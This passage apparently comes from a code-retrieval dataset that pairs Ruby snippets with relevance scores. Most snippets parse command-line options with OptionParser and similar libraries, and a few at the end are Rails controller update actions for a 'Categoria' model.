"text": "def parse_options\n @options = {}\n @optparse = OptionParser.new do |opts|\n opts.banner = 'Usage: validate-upload [options] directory'\n\n # Define the options, and what they do\n @options[:delete] = false\n opts.on( '-d', '--delete', 'remove files that have been successfully copied to the object store' ) do\n @options[:delete] = true\n end\n\n @options[:verbose] = false\n opts.on( '-v', '--verbose', 'Output more information' ) do\n @options[:verbose] = true\n end\n\n opts.on( '-?', '--help', 'Display this screen' ) do\n puts opts\n exit\n end\n end\n\n @optparse.parse!\nend", "title": "" }, { "docid": "18b16e972c1bd84aa1ac18f5c5b8f433", "score": "0.6167774", "text": "def parse!(args)\n do_parse(args)\n rescue OptionParser::InvalidOption => ex\n @exception_handler.call(\"Unknown option #{ex.args.join(' ')}\",@extra_error_context)\n rescue OptionParser::InvalidArgument => ex\n @exception_handler.call(\"#{ex.reason}: #{ex.args.join(' ')}\",@extra_error_context)\n end", "title": "" }, { "docid": "9acd351a472aa4387e6e5a1727357c6d", "score": "0.61643755", "text": "def option_parse\n attrcheck = {\n 'Action' => @options[:action],\n 'REST endpoint' => @options[:rest_endpoint]\n }\n @validate.attrvalidate(@options, attrcheck)\n case @options[:action].downcase\n when 'create'\n update\n when 'list', 'details'\n list\n when 'delete'\n update\n else\n abort('you entered an invalid selection for Action')\n end\n end", "title": "" }, { "docid": "b83cef8b3ca7199f0776b7fabf0ae13e", "score": "0.61562616", "text": "def parse(args)\n opt_parser.parse(args)\n self\n end", "title": "" }, { "docid": "462f79993256fba6a6f74de595c401bc", "score": "0.6154663", "text": "def parse_options\n self.class.parser = Optimist::Parser.new unless self.class.parser\n Optimist.with_standard_exception_handling(self.class.parser) do\n self.class.parser.parse ARGV\n end\n end", "title": "" }, { "docid": "927bae1055f19e477f2d1ff949f989bd", "score": "0.6145863", "text": "def parse_options\n options = {}\n\n OptionParser.new do |opts|\n opts.banner = \"Usage: mass-reblog.rb [options]\"\n\n opts.on('-t', '--tag TAG', 'The tag to draft.') do |t|\n options[:tag] = t\n end\n\n opts.on('-b', '--blog BLOG', 'The URL of the blog to reblog posts to.') do |b|\n options[:blog] = b\n end\n\n opts.on('-c', '--count COUNT', Integer, 'The number of posts to reblog.') do |c|\n options[:count] = c\n end\n\n opts.on('-p', '--post-type POST-TYPE', 'The posttype to use.') do |pt|\n options[:type] = pt\n end\n\n opts.on('-a', '--add-tags TAG1,TAG2,...', 'A list of tags to add to a post (comma separated).') do |at|\n options[:tags_to_add] = at\n end\n\n opts.on('-s', '--status status', 'The status of the reblogged posts.') do |s|\n options[:status] = s\n end\n\n opts.on('-d', '--dry-run', 'Whether to actually reblog the posts or not (a dry run).') do |d|\n options[:dry] = true\n end\n\n opts.on('-h', '--help', 'Show this help message') do ||\n puts opts\n exit\n end\n end.parse!\n\n unless valid_options?(options)\n puts \"Invalid usage! A tag, blog URL, and count are required.\"\n exit\n end\n\n return normalize_options(options)\nend", "title": "" }, { "docid": "2ca08d10cd1fd9f0cc6fd8a226f54ccc", "score": "0.6141469", "text": "def parse_options! #:nodoc:\n if args.empty?\n warn \"Please specify at least one action to execute.\"\n warn option_parser\n exit\n end\n\n extract_environment_variables!\n\n @options = { :recipes => [], :actions => [],\n :vars => {}, :pre_vars => {} }\n @options[:dir] ||= Dir.pwd \n\n option_parser.parse!(args)\n mandatory = ['adapter']\n missing = mandatory.select{ |param| options[param].nil? }\n if not missing.empty?\n puts \"Missing options: #{missing.join(', ')}\"\n puts option_parser \n exit \n end \n\n @options[:actions].concat(args)\n end", "title": "" }, { "docid": "57cdbe16910fd3dca2a9ba768efc55b0", "score": "0.61319286", "text": "def parse_options\n options = {}\n\n op = OptionParser.new do |opts|\n opts.banner = \"Usage: #{opts.program_name} [option]...\"\n\n opts.on(\"-h\", \"--help\", \"Show help\") do\n\n end\n\n opts.on(\"-b\", \"--basename\", 'Use basenames rather than FQDNs.') do\n options[:basename] = true\n end\n\n opts.on(\"-j\", \"--json\", 'Emit results as JSON.') do |file|\n options[:json] = true\n end\n\n opts.on(\"-l\", \"--load FILE\", 'Load from FILE.') do |file|\n options[:load] = file\n end\n\n # Support an optional list of groups; default to all if empty.\n\n opts.on(\"-g\", \"--group[=STATES]\", 'Group.') do |states|\n options[:group] ||= []\n if states\n syms = states.split(',').map(&:to_sym)\n options[:group] = options[:group].concat(syms).uniq\n end\n end\n\n end\n\n op.parse!\n\n # Post-parse: check that, if the user has explicitly specificed states to\n # group by, the states in question are actually known.\n\n syms = options[:group]\n validate_groups(syms)\n\n options\nend", "title": "" }, { "docid": "32ec43180eb8364e8661ef7420072fa6", "score": "0.6121606", "text": "def option_parser(&block)\n @pipeline.option_parser_cb = block\n end", "title": "" }, { "docid": "cd01330d6759317a7412a0289f8775a6", "score": "0.61143255", "text": "def handle_options\n OptionParser.new do |opts|\n opts.banner = \"mangkeeper scenario {options}\"\n opts.separator \"\"\n opts.separator \"Options are ...\"\n\n opts.on_tail(\"-h\", \"--help\", \"-H\", \"Display this help message.\") do\n puts opts\n exit\n end\n\n standard_options.each { |args| opts.on(*args) }\n end.parse!\n end", "title": "" }, { "docid": "351f1ebadabd7878fdfd38a4b041b9a4", "score": "0.61095244", "text": "def post_option_parser(configuration)\r\n # we could test or manipulate input values here\r\n if ARGV.length >= 1\r\n configuration[:action] = ARGV.shift \r\n end\r\n\r\n raise \"Action must be one of status, stop, start, restart, or wake\" unless [\"status\",\"stop\",\"start\",\"restart\",\"wake\"].include?(configuration[:action])\r\n end", "title": "" }, { "docid": "3b42afbf0d7108c1b51dc93dbe50d445", "score": "0.61076427", "text": "def parse_options\n#--{{{\n @op = OptionParser.new\n @options = {}\n OPTSPEC.each do |spec|\n k = spec.first.gsub(%r/(?:--)|(?:=.*$)|(?:\\s+)/o,'')\n @op.def_option(*spec){|v| v = v.to_s; @options[k] = v.empty? ? nil : v}\n #@op.def_option(*spec){|v| @options[k] = v}\n end\n\n if((env_opts = (ENV['RQ_OPTS'] || ENV['RQ_OPTIONS'])))\n require 'shellwords'\n @op.parse! Shellwords.shellwords(env_opts)\n end\n\n @op.parse! @argv \n\n @options\n#--}}}\n end", "title": "" }, { "docid": "704caae26abf4782bf7e79485dd8d031", "score": "0.6106598", "text": "def process_options\n # Sort out the Verbose/Quiet flags\n @options.verbose = false if @options.quiet\n end", "title": "" }, { "docid": "272af6ac619ef09a7276835514246caa", "score": "0.6095264", "text": "def parse_options!\n @options = {}\n optparse = OptionParser.new do |opts|\n opts.banner = USAGE_TEXT\n\n @options[:bfs] = false\n opts.on( '-b', '--bfs', 'BFS method used for solving.' ) do\n @options[:bfs] = true\n end\n\n @options[:dfs] = false\n opts.on( '-d', '--dfs', 'DFS method used for solving.' ) do\n @options[:dfs] = true\n end\n\n @options[:man] = false\n opts.on( '-m', '--man', 'Manhattan heuristic used for solving.' ) do\n @options[:man] = true\n end\n\n @options[:euc] = false\n opts.on( '-e', '--euc', 'Euclidean heuristic used for solving.' ) do\n @options[:euc] = true\n end\n\n @options[:sco] = false\n opts.on( '-s', '--sco', 'Score heuristic used for solving.' ) do\n @options[:sco] = true\n end\n end\n optparse.parse!\n end", "title": "" }, { "docid": "38663cd096418aeb1ff8034590121efa", "score": "0.6081409", "text": "def parse(*args)\n Imp::Options::OptionParser.new(@_options || []).parse(args)\n end", "title": "" }, { "docid": "ce66e89583372d898cbc68d99a94960b", "score": "0.60768455", "text": "def parse_options\n \n options = {}\n\n o = OptionParser.new do |opts|\n opts.banner = \"Usage: example.rb [options]\"\n opts.separator \"\"\n\n opts.on(\"-d DRUID\", \"--druid DRUID\", \"Pass in a druid to process\") do |d|\n @options.druid = d\n end\n \n opts.on(\"-f\", \"--file FILE\", \"Pass in a file of druids to process\") do |f|\n @options.file = f\n end\n \n opts.on(\"-m MODE\", \"--mode MODE\", \"Specify the mode to run in\") do |m|\n case m\n when \"master\"\n @options.mode = :master\n when \"slave\"\n @options.mode = :slave\n when \"default\"\n @options.mode = :default\n else\n raise OptionParser::InvalidArgument, \"Invalid mode: #{m}\"\n end\n end\n \n end\n \n # Parse the command line options and ignore anything not specified above\n begin\n o.parse!(@opts[:argv] || ARGV)\n rescue OptionParser::InvalidOption => e\n LyberCore::Log.debug(\"e.inspect\")\n rescue OptionParser::ParseError => e\n LyberCore::Log.error(\"Couldn't parse options: #{e.backtrace}\") \n raise e\n end\n \n end", "title": "" }, { "docid": "8a6c8adefbcfcc8f1ecb4ae77a289b66", "score": "0.60757625", "text": "def process_options\n # For example: @options.verbose = false if @options.quiet\n end", "title": "" }, { "docid": "8a1f2159a242cc9b4820724902516039", "score": "0.60704494", "text": "def options_parse(options_parser)\n options_parser.separator ''\n options_parser.separator 'JSON dump options:'\n options_parser.on('-k', '--skip-run', 'Skip the actual gathering of dumps in run_logs. If set, the current run_logs content will be used.') do\n @skip_run = true\n end\n options_parser.on('-j', '--json-dir DIRECTORY', \"Specify the output directory in which JSON files are being written. Defaults to #{@dump_dir}.\") do |dir|\n @dump_dir = dir\n end\n end", "title": "" }, { "docid": "99c3e7eb7d6be72603216ffcef7d3a41", "score": "0.6059767", "text": "def process_options\n\t\t@options[:verbose] = false if @options[:quiet]\n\tend", "title": "" }, { "docid": "42b0cf260472bdaa0fbdb4ef1da4f964", "score": "0.60532665", "text": "def handle_options(argv) # :nodoc:\n set_default_options\n\n OptionParser.new do |opts|\n opts.banner = \"#{Rake.application.name} [-f rakefile] {options} targets...\"\n opts.separator \"\"\n opts.separator \"Options are ...\"\n\n opts.on_tail(\"-h\", \"--help\", \"-H\", \"Display this help message.\") do\n puts opts\n exit\n end\n\n standard_rake_options.each { |args| opts.on(*args) }\n opts.environment(\"RAKEOPT\")\n end.parse(argv)\n end", "title": "" }, { "docid": "c2718d70d73fe9ab8fa9814e919c1ee9", "score": "0.60446644", "text": "def parse_options(opts, args)\n opts.parse!(args)\n rescue OptionParser::InvalidOption => e\n log.warn \"Unrecognized/#{e.message}\"\n end", "title": "" }, { "docid": "76e605df80eafc6a8f469c99925d8b1a", "score": "0.6040189", "text": "def normalize_options(options); end", "title": "" }, { "docid": "07091aa760f44b5c01d3ba0d2f5d7324", "score": "0.6038975", "text": "def process_options\n\t\t\t@options.verbose = false if @options.quiet\n\t\tend", "title": "" }, { "docid": "c11dbab5a6665227f375c12887607cd7", "score": "0.60361075", "text": "def _normalize_options(options); end", "title": "" }, { "docid": "83004fbf51afb96be5a004034fb1f6d9", "score": "0.603607", "text": "def parse!(args, runtime_options = {})\r\n self.options = {}\r\n\r\n @option_parser = OptionParser.new do |opt|\r\n opt.banner = banner\r\n add_options!(opt)\r\n add_general_options!(opt)\r\n opt.parse!(args)\r\n end\r\n\r\n return args\r\n ensure\r\n self.options = full_options(runtime_options)\r\n end", "title": "" }, { "docid": "1ddc0e294bbd2e26f427082c3d43a63e", "score": "0.6029229", "text": "def parse_options(options)\n {} \n end", "title": "" }, { "docid": "4627c5fd34ee2107ca6fb1c9d1bb8e47", "score": "0.60291964", "text": "def parse_options!(argv)\n @opts.order!(argv)\n if (!argv.empty?) then\n # Try to treat unknown option as a UID.\n set_uid(argv.shift)\n # Continue parsing\n @opts.order!(argv)\n end\n show_help_exit unless (@uid)\n end", "title": "" }, { "docid": "2aadf03be1bed9219597bed4950af8bb", "score": "0.60205066", "text": "def process_options\n fields = options[:fields]\n if fields && fields.size > 0 && !fields.include?(:_type)\n if fields.kind_of?(Hash)\n fields[:_type] = 1 if fields.first.last != 0 # Not excluding\n else\n fields << :type\n end\n options[:fields] = fields\n end\n options.dup\n end", "title": "" }, { "docid": "fcfb29e581409f7ff19d8b7de85d8e1f", "score": "0.6016608", "text": "def before_appending( parsestate )\n\t\tparsestate.options.merge!( self.options )\n\tend", "title": "" }, { "docid": "53c2b5fdee9930d61c6e0074f2996033", "score": "0.6011296", "text": "def set_command_options(parser); end", "title": "" }, { "docid": "e058b1600e92e0afdd09e92cc970b6ba", "score": "0.6007029", "text": "def parse_options\n options = {}\n\n CloudFlock::App.parse_options(options) do |opts|\n opts.separator 'Migrate files between file stores'\n opts.separator ''\n\n opts.on('-u', '--upload-threads THREADS',\n 'Number of upload threads to use (default 20)') do |threads|\n options[:upload_threads] = threads.to_i if threads.to_i > 0\n end\n opts.on('-d', '--download-threads THREADS',\n 'Number of download threads to use (default 20)') do |threads|\n options[:download_threads] = threads.to_i if threads.to_i > 0\n end\n end\n end", "title": "" }, { "docid": "bad43c39a6001f71a585b58d26c0cb30", "score": "0.60007864", "text": "def parse(options)\n opt_parser.parse!(options)\n self\n rescue StandardError\n puts opt_parser\n nil\n end", "title": "" }, { "docid": "2f15b831e9ad0490307a8018cd848c41", "score": "0.5983878", "text": "def parse_options(args = {})\n self.option_parser.parse!(args)\n rescue OptionParser::InvalidOption => e\n io.puts option_parser\n io.puts \"\\n!! #{e.message}\\n\"\n raise(e)\n end", "title": "" }, { "docid": "f906cf27f5c55c15ff955bba199b99e5", "score": "0.5967748", "text": "def handle_argv\n opt = OptionParser.new(BANNER)\n opt.separator \"Options:\" # Way to control a help message.\n opt.on('-n NUM', '--line=NUM', sprintf(\"Number of lines (Def: %d).\", PlainText::DEF_HEADTAIL_N_LINES), Integer) { |v| OPTS[:num]=v }\n opt.on('-c NUM', '--byte=NUM', sprintf(\"Number of bytes, instead of lines.\"), Integer) { |v| OPTS[:unit] = :byte; OPTS[:num]=v }\n opt.on( '--char=NUM', sprintf(\"Number of characters, instead of lines.\"), Integer) { |v| OPTS[:unit] = :char; OPTS[:num]=v }\n opt.on('-e REGEXP', '--regexp=REGEXP', sprintf(\"Regexp for the boundary, instead of a number.\", (!OPTS[:num]).inspect)) {|v| OPTS[:num] = v}\n opt.on('-i', '--[no-]ignore-case', sprintf(\"Ignore case distinctions in Regexp (Def: %s)\", (!OPTS[:ignore_case]).inspect), TrueClass) {|v| OPTS[:ignore_case] = v}\n opt.on('-m', '--[no-]multi-line', sprintf(\"Multi-line match (option m) in Regexp (Def: %s)\", (!OPTS[:multi_line]).inspect), TrueClass) {|v| OPTS[:multi_line] = v}\n opt.on('-x', '--[no-]exclusive', sprintf(\"The line that matches is excluded? (Def: %s)\", (!OPTS[:inclusive]).inspect), FalseClass) {|v| OPTS[:inclusive] = v}\n opt.on('-p NUM', '--padding=NUM', sprintf(\"The number of lines included as 'padding' below the matched line (Def: %s)\", (!OPTS[:padding]).inspect), Integer) {|v| OPTS[:padding] = v}\n opt.on('-r', '--[no-]reverse', sprintf(\"Reverse the behaviour (run AFTER - (inc|ex)clusive and padding) (Def: %s)\", (!OPTS[:inverse]).inspect), TrueClass) {|v| OPTS[:inverse] = v} # WARNING-NOTE: the Hash keyword is \"inverse\" as opposed to \"reverse\"\n # opt.on( '--version', \"Display the version and exits.\", TrueClass) {|v| OPTS[:version] = v} # Consider opts.on_tail\n # opt.on( '--[no-]debug', \"Debug (Def: false)\", TrueClass) {|v| OPTS[:debug] = v}\n # opt.separator \"\" # Way to control a help message.\n opt.separator \"Note:\"\n opt.separator \" Option -m means '.' includes a newline. '\\\\s' includes it regardless.\"\n opt.separator \" 'Padding' (-p) is calculated after Option -x is considered.\"\n opt.separator \" Negative 'Padding' like '--padding=-3' reduces the number of lines by 3.\"\n\n begin\n opt.parse!(ARGV)\n rescue OptionParser::MissingArgument => er\n # Missing argument like \"-b\" without a number.\n warn er\n exit 1\n end\n\n if OPTS[:num].respond_to? :to_str\n # Regexp specified with --regexp=REGEXP\n cond = (0 | (OPTS[:ignore_case] ? Regexp::IGNORECASE : 0) | (OPTS[:multi_line] ? Regexp::MULTILINE : 0))\n OPTS[:num] = Regexp.new OPTS[:num], cond\n end\n\n OPTS\nend", "title": "" }, { "docid": "86d00f29157735c5fe7f4b08f713d031", "score": "0.5967402", "text": "def parse_options!\n @options = {\n :daemonize => false,\n :config_file => 'config/loops.yml',\n :environment => nil, # We'll guess it later\n :framework => 'rails',\n :loops_root => 'app/loops',\n :pid_file => nil,\n :root => nil,\n :require => [],\n }\n\n begin\n option_parser.parse!(args)\n rescue OptionParser::ParseError => e\n STDERR.puts e.message\n STDERR << \"\\n\" << option_parser\n exit\n end\n\n # Root directory\n guess_root_dir\n Loops.root = options.delete(:root)\n Dir.chdir(Loops.root)\n\n # Config file\n Loops.config_file = options.delete(:config_file)\n # Loops root\n Loops.loops_root = options.delete(:loops_root)\n\n @command = extract_command!\n options[:framework] = 'none' unless @command.requires_bootstrap?\n\n bootstrap!\n start_engine!\n\n # Pid file\n Loops.pid_file = options.delete(:pid_file)\n\n @options\n end", "title": "" }, { "docid": "fad11a5969dc36aa0139e8b8f5b7936b", "score": "0.59661", "text": "def parse_options!\n OptionParser.new do |opts|\n opts.banner = \"Usage: #{$PROGRAM_NAME} [options]\"\n opts.separator ''\n opts.separator 'Main options:'\n opts.on('-d', '--debug', 'Activate debug mode') do\n self.log_level = :debug\n end\n opts.on('-h', '--help', 'Display help and exit') do\n out opts\n exit 0\n end\n @opts_block&.call(opts)\n nodes_handler.options_parse(opts) if nodes_handler_instantiated?\n nodes_handler.options_parse_nodes_selectors(opts, @selected_nodes) if @nodes_selection_options\n cmd_runner.options_parse(opts) if cmd_runner_instantiated?\n actions_executor.options_parse(opts, parallel: @parallel_options) if actions_executor_instantiated?\n if deployer_instantiated? && @deploy_options\n deployer.options_parse(\n opts,\n parallel_switch: @parallel_options,\n timeout_options: @timeout_options,\n why_run_switch: @check_options\n )\n end\n json_dumper.options_parse(opts) if json_dumper_instantiated?\n reports_handler.options_parse(opts) if reports_handler_instantiated?\n tests_runner.options_parse(opts) if tests_runner_instantiated?\n topographer.options_parse(opts) if topographer_instantiated?\n end.parse!\n actions_executor.validate_params if actions_executor_instantiated?\n deployer.validate_params if deployer_instantiated?\n reports_handler.validate_params if reports_handler_instantiated?\n topographer.validate_params if topographer_instantiated?\n raise \"Unknown options: #{ARGV.join(' ')}\" unless ARGV.empty?\n end", "title": "" }, { "docid": "d72614def07ce3e8862dc9f6a6cbea47", "score": "0.5953041", "text": "def process_options\n command = self\n @options = Trollop::options(command.args) do\n\n command.prepare_options(self)\n\n banner <<-END\nStandard options:\n END\n\n opt :config, 'config.yaml file location', :short => 'c',\n :default => 'config.yaml'\n opt :verbose, 'verbose mode', :short => 'v'\n opt :addr, 'IP address to use for performing requests', :short => 'a',\n :type => String\n opt :token, 'GitHub OAuth token',\n :type => String, :short => 't'\n opt :req_limit, 'Number or requests to leave on any provided account (in reqs/hour)',\n :type => Integer, :short => 'l'\n opt :uniq, 'Unique name for this command. Will appear in logs.',\n :type => String, :short => 'u'\n end\n end", "title": "" }, { "docid": "0d2a7659649f64a1bcf467add2ade0a6", "score": "0.5951745", "text": "def parse_arguments\n while arg = @arguments.shift\n case arg\n when /^--/\n process_option(arg)\n when /^-/\n arg[1..-1].each_char {|opt| process_option(\"-#{opt}\") }\n else\n @config.files << arg\n end\n end\n\n @config.files << '.' if @config.files.empty?\n end", "title": "" }, { "docid": "17551a62ebe199255ae380883c236557", "score": "0.59505546", "text": "def handle_options\n OptionParser.new do |opts|\n opts.banner = \"freight [-f freightfile] {options} \"\n opts.separator \"\"\n opts.separator \"Options are ...\"\n\n opts.on_tail(\"-h\", \"--help\", \"-H\", \"Display this help message.\") do\n puts opts\n exit\n end\n\n standard_freight_options.each { |args| opts.on(*args) }\n opts.environment('FREIGHTOPT')\n end.parse!\n end", "title": "" }, { "docid": "5d8f440d4a25c7474204633b1951bfdd", "score": "0.594728", "text": "def parse_options(args)\n args.select do |option|\n case option\n when \"--quiet\", \"-q\"\n @quiet = true\n false\n when \"--verbose\", \"-v\"\n @verbose = true\n false\n end\n end\n end", "title": "" }, { "docid": "07afb2f0ef27761288f6135bce98ccb1", "score": "0.5946759", "text": "def parse_options\n super do |opts|\n\n opts.on(\"--list MODE\", \"Listing mode. ALL, NAME, SHORT, PATH\") do |u|\n options[:list] = u\n options[:list].upcase!\n unless [\"ALL\", \"NAME\", \"SHORT\", \"PATH\"].include?(options[:list])\n raise \"invalid list mode '#{options[:list]}' for '--list' option\"\n end\n end\n\n opts.on(\"--short\", \"List summary status only, alias for '--list=SHORT'\") do |s|\n options[:list] = 'SHORT'\n end\n\n # Most decendants of BaseAction will only handle one type of asset, the\n # list action is unique in that you can specify the type of asset to list\n opts.on(\"--type ASSET_TYPE\", \"Asset type to list: app_asset (default)\") do |t|\n options[:type] = t\n unless [\"app_asset\"].include?(options[:type])\n raise \"unknown asset type '#{options[:type]}' for '--type' option\"\n end\n end\n\n end\n end", "title": "" }, { "docid": "eb24bdd7db0a9ec8367ef2d377078b59", "score": "0.5942201", "text": "def parse_options!(argv)\n @arguments = parse_options(argv)\n PrlBackup.config = config\n end", "title": "" }, { "docid": "b5c71cb3fbe3aaea2bc0ccbdab5d77d5", "score": "0.59400064", "text": "def parse_options(argv = T.unsafe(nil), show_deprecations: T.unsafe(nil)); end", "title": "" }, { "docid": "e6281ff9ca6c3474d55681c137baae70", "score": "0.5936382", "text": "def parse_options!\n return unless options.empty?\n options_parser = OptionParser.new do |parser|\n executable_name = File.basename($PROGRAM_NAME)\n parser.banner = \"Usage: #{executable_name} [options]\"\n\n parser.on(\"-f\", \"--file FILE\", \"file to read and process\") do |file|\n options[:file] = file\n end\n parser.on(\"-o\", \"--output OUTPUT\", \"specify output format\",\n /\\A(#{Recorder::Views.formats.join(\"|\")})\\z/, Integer) do |output|\n options[:output] = output\n end\n end\n begin\n options_parser.parse!(argv)\n file = options[:file]\n output = options[:output]\n fail ArgumentError, \"File missing\" if file.nil?\n fail ArgumentError, \"Output format missing\" if output.nil?\n fail ArgumentError, \"File not readable #{file.inspect}\" unless File.readable?(file)\n rescue ArgumentError, OptionParser::ParseError => e\n warn e.message\n log options_parser.help\n exit(1)\n end\n end", "title": "" }, { "docid": "c28f1fd2b3d472b0f697a0dfe7089cb1", "score": "0.5935153", "text": "def parse_options\n options.each do |opt, arg|\n case opt\n when '--config'\n override_config_file_with(arg)\n when '--download'\n download_file(arg)\n when '--help'\n show_help\n when '--license'\n show_license\n when '--list'\n list_remote_backups\n when '--list-local'\n list_local_backups\n when '--only-local'\n @only_local = true\n when '--verbose'\n override_config_file_with_option(\"verbose\" => true)\n when '--version'\n show_version\n end\n end\n rescue GetoptLong::MissingArgument, GetoptLong::InvalidOption\n # GetoptLong Already outputs the error.\n puts \"\\n\"\n show_help\n end", "title": "" }, { "docid": "46a5aacd08995cb7331e3d5be5e7d811", "score": "0.59296924", "text": "def parse!\n @argv.position = 0\n \n parse_unnamed_opts @heading_opts\n \n @argv.each_with_iterator do |item|\n next unless (matchdata = item.match(/^--?(no-)?([\\w\\d\\-\\?]+)$/))\n next unless (option = @opts[matchdata[2]])\n \n @tailing_start_position = @argv.position\n \n if option.option_is_boolean\n check_and_assign_value(option, (matchdata[1].nil? ? true : false))\n next :and_crop, 1\n \n elsif @argv.look_ahead =~ /^-/ || !@argv.look_ahead\n if option.value_is_optional\n check_and_assign_value(option, true)\n else\n errors << \"#{option.display_names} must have a value\"\n end\n next :and_crop, 1\n else\n check_and_assign_value(option, @argv.look_ahead)\n next :and_crop, 2\n end\n end\n \n unless @argv.detect{|item| item =~ /^-/}\n @argv.position = @tailing_start_position\n parse_unnamed_opts @tailing_opts\n \n @argv.position = 0\n parse_unnamed_opts @floating_opts\n end\n end", "title": "" }, { "docid": "d35d4d063bb9b82cb74a0135c514e0f7", "score": "0.592838", "text": "def parse_options(argv)\n argv\n end", "title": "" }, { "docid": "639ec71fd507022ff875e77575985938", "score": "0.59265774", "text": "def parse_serialize_options(options, secondary_options); end", "title": "" }, { "docid": "23a2f09c6f7e6bebb5188921aa43a2d2", "score": "0.5923827", "text": "def parse_options\n @options = {\n :port => 9173,\n :environment => 'production',\n :config_path => ENV['CLOUD_CROWD_CONFIG'] || '.'\n }\n @option_parser = OptionParser.new do |opts|\n opts.on('-c', '--config PATH', 'path to configuration directory') do |conf_path|\n @options[:config_path] = conf_path\n end\n opts.on('-n', '--num-workers NUM', OptionParser::DecimalInteger, 'number of worker processes') do |num|\n @options[:num_workers] = num\n end\n opts.on('-p', '--port PORT', 'central server port number') do |port_num|\n @options[:port] = port_num\n end\n opts.on('-e', '--environment ENV', 'server environment (sinatra)') do |env|\n @options[:environment] = env\n end\n opts.on_tail('-v', '--version', 'show version') do\n load_code\n puts \"CloudCrowd version #{VERSION}\"\n exit\n end\n end\n @option_parser.banner = BANNER\n @option_parser.parse!(ARGV)\n end", "title": "" }, { "docid": "323ae340b88ea5bb15ce91fd2d52e49a", "score": "0.5918268", "text": "def parse_options\n options = Instagram::Options.new(@defaults)\n parse_with_optparse(options)\n rescue OptionParser::ParseError => e\n Logger.log_error_message(e)\n exit\n else\n options.to_hash\n end", "title": "" }, { "docid": "f78b5fb490f03d5ef228f9a171898869", "score": "0.5917371", "text": "def process_options(options)\n options[:testmode] = true if test_mode?\n options\n end", "title": "" }, { "docid": "3075914b612ae0d433ac77f038bbe1d8", "score": "0.5916079", "text": "def parse_options\n @options = {}\n @option_parser = OptionParser.new do |opts|\n opts.on('-o', '--output [DIR]', 'set the directory for all output') do |d|\n @options[:output] = d\n end\n opts.on('-p', '--pages [PAGES]', \"extract specific pages (eg: 5-10)\") do |p|\n @options[:pages] = p\n end\n opts.on('-s', '--size [SIZE]', 'set a fixed size (eg: 50x75)') do |s|\n @options[:size] = s.split(',')\n end\n opts.on('-f', '--format [FORMAT]', 'set image format (pdf, jpg, gif...)') do |t|\n @options[:format] = t.split(',')\n end\n opts.on_tail('-v', '--version', 'display docsplit version') do\n puts \"docsplit version #{Docsplit::VERSION}\"\n exit\n end\n opts.on_tail('-h', '--help', 'display this help message') do\n usage\n end\n end\n @option_parser.banner = BANNER\n begin\n @option_parser.parse!(ARGV)\n rescue OptionParser::InvalidOption => e\n puts e.message\n exit(1)\n end\n end", "title": "" } ]
11b4dc61a27ea5316d0373923fc61555
PATCH/PUT /admin/categorias/1 PATCH/PUT /admin/categorias/1.json
[ { "docid": "6c8e221fb412d82b8856a1c164021fcd", "score": "0.6946077", "text": "def update\n respond_to do |format|\n if @categoria.update(categoria_params)\n format.html { redirect_to @categoria, notice: 'Servico was successfully updated.' }\n format.json { render :show, status: :ok, location: @categoria }\n else\n format.html { render :edit }\n format.json { render json: @categoria.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "714ebab248463d4c0336fb502d897086", "score": "0.6897343", "text": "def update\n @categoria = Categoria.find(params[:id])\n\n respond_to do |format|\n if @categoria.update_attributes(params[:categoria])\n format.html { redirect_to @categoria, notice: 'Categoria was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @categoria.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0fa4bd5c34e85c2583048d3574d00d29", "score": "0.68657494", "text": "def update\n @categoria = Categoria.find(params[:id])\n\n respond_to do |format|\n if @categoria.update_attributes(params[:categoria])\n format.html { redirect_to @categoria, notice: 'Categoria se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @categoria.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "30e4947ee09f7b8bbc23a3f25b2aabf1", "score": "0.68125653", "text": "def update\n respond_to do |format|\n if @objeto.update(categoria_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Categoria was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7145c76a1aae22b6001bb68427866dfb", "score": "0.67910564", "text": "def update\n @categoria.user = current_user\n @categoria.save\n respond_to do |format|\n if @categoria.update(categoria_params)\n format.html { redirect_to categorias_url, notice: 'Categoria atualizada com sucesso.' }\n format.json { head :no_content }\n else\n @categorias = Categoria.all\n @tipos_lancamento = TipoLancamento.all\n format.html { render action: 'edit' }\n format.json { render json: @categoria.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9272e7aeb1316dd293b39a6690ecfb5b", "score": "0.66648847", "text": "def update\n respond_to do |format|\n if @categoria.update(categoria_params)\n format.html { redirect_to @categoria, notice: 'Categoria was successfully updated.' }\n format.json { render :show, status: :ok, location: @categoria }\n else\n format.html { render :edit }\n format.json { render json: @categoria.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b01129d4717c6141171dc6355259a65", "score": "0.6613265", "text": "def update\n @cargo_categoria = CargoCategoria.find(params[:id])\n\n respond_to do |format|\n if @cargo_categoria.update_attributes(params[:cargo_categoria])\n format.html { redirect_to cargo_categorias_path, notice: 'Mapa de Cargo e Categoria atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cargo_categoria.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7897fe1991affe63c4e10c2c62c2a35d", "score": "0.6549492", "text": "def update\n respond_to do |format|\n if @sub_categoria.update(sub_categoria_params)\n format.html { redirect_to @sub_categoria.categoria, notice: 'Sub categoria was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sub_categoria.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "400b903c7428b8126bd6489e50a59638", "score": "0.65337294", "text": "def update\n respond_to do |format|\n if @categoriaempresa.update(categoriaempresa_params)\n format.html { redirect_to @categoriaempresa, notice: 'Categoria alterado com sucesso.' }\n format.json { render :show, status: :ok, location: @categoriaempresa }\n else\n format.html { render :edit }\n format.json { render json: @categoriaempresa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4006ab9ef0a314588fafaa2c3c084d29", "score": "0.6489061", "text": "def update\n respond_to do |format|\n if @category.update(category_params)\n 